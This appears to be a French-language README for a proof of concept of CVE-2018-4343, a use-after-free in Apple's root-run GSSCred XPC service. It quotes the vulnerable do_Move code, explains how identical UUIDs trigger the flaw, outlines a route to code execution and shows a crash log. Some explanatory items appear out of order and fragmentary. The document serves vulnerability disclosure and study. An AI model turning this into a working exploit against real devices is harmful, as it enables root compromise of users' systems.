
CVE-2018-4343: Preuve de concept pour une use-after-free dans le démon GSSCred sur macOS et iOS.
Le service XPC com.apple.GSSCred, qui s'exécute en tant que root sur macOS et iOS, n'implémente pas correctement la commande "move", conduisant à une condition d'utilisation après libération (use-after-free) dans la fonction do_Move. Le service GSSCred est accessible depuis le sandbox applicatif par défaut sur iOS.
Ce programme exploite la vulnérabilité pour faire planter le service GSSCred. Atteindre l'exécution de code dans GSSCred repose sur l'écrasement de la mémoire libérée avec des données contrôlées pendant la fenêtre de concurrence (race window). Testé sur macOS High Sierra 10.13.2 Beta 17C79a.
Voici les parties pertinentes de do_Move issues de Heimdal-520, avec quelques vérifications d'erreur sans importance omises :
//
// 1. from et to sont des objets UUID entièrement contrôlés, désérialisés depuis la requête XPC.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom et credto sont des objets HeimCredRef recherchés par les UUID from et to.
// CFDictionaryGetValue() renvoie les objets sans ajouter de référence. Notez que si
// les UUID from et to sont identiques, alors credfrom et credto référenceront le même objet.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom est retiré du dictionnaire. Comme il n'y avait qu'une seule référence
// en cours, cela libère credfrom.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. À ce stade, on vérifie credto. Si credfrom et credto référencent le même objet, alors
// credto est un pointeur non NULL vers l'objet HeimCredRef libéré.
//
if (credto == NULL) {
...
} else {
//
// 5. Maintenant, on déréférence credto, en passant une valeur lue depuis la mémoire libérée
// comme objet CFDictionaryRef à CFDictionaryGetValue().
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
Ce code fait ce qui suit :
from et to, depuis la requête XPC. La requête est entièrement
contrôlée, nous pouvons donc définir les valeurs de ces UUID arbitrairement. Il n'y a pas de
vérification que ces deux UUID soient identiques.credfrom et credto, correspondant aux UUID respectifs
from et to. Le dictionnaire peer->session->items stocke toutes les informations d'identification
gérées par GSSCred pour le programme client actuellement connecté. Notez que la fonction
CFDictionaryGetValue renvoie une référence aux objets HeimCredRef, mais n'augmente pas
leur compteur de références. En particulier, si from et to sont le même UUID, alors credfrom et
credto pointeront tous deux vers le même HeimCredRef avec un compteur de références de 1 (détenu par le
CFDictionary contenant).Ce programme ne tente pas de gagner cette fenêtre de concurrence. Au lieu de cela, il laisse le destructeur de HeimCredRef remettre à zéro le champ attributes, déclenchant un déréférencement de pointeur NULL dans CFDictionaryGetValue.
Pour construire, exécutez make. Consultez le début du Makefile pour diverses options de construction.
L'exécution de l'exploit affichera la séquence de messages XPC échangés avec GSSCred :
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
Les événements XPC "Connection interrupted" indiquent que la connexion XPC a été interrompue, probablement parce que GSSCred a planté.
Le code GSSCred-move-uaf est placé dans le domaine public. Par courtoisie, je demande que si vous référencez ou utilisez une partie de ce code, vous me l'attribuiez.
credfrom est retiré du dictionnaire peer->session->items. C'est généralement sûr,
car lorsque from et to sont des UUID différents, l'objet credfrom est libéré puis
n'est plus jamais référencé. Cependant, lorsque from et to sont identiques, des problèmes surviendront,
puisque credto est référencé plus tard.credto est NULL. Comme credfrom et credto sont égaux et que
credfrom n'était pas NULL, on entre dans la branche else.credto pour lire le champ attributes, qui est passé comme
premier paramètre à CFDictionaryGetValue. Si la mémoire libérée pointée par credto a été
réallouée entre-temps et que l'emplacement du champ attributes a changé pour pointer vers un
objet CFDictionary factice spécialement conçu, il devrait être possible d'atteindre l'exécution
de code avec cette étape.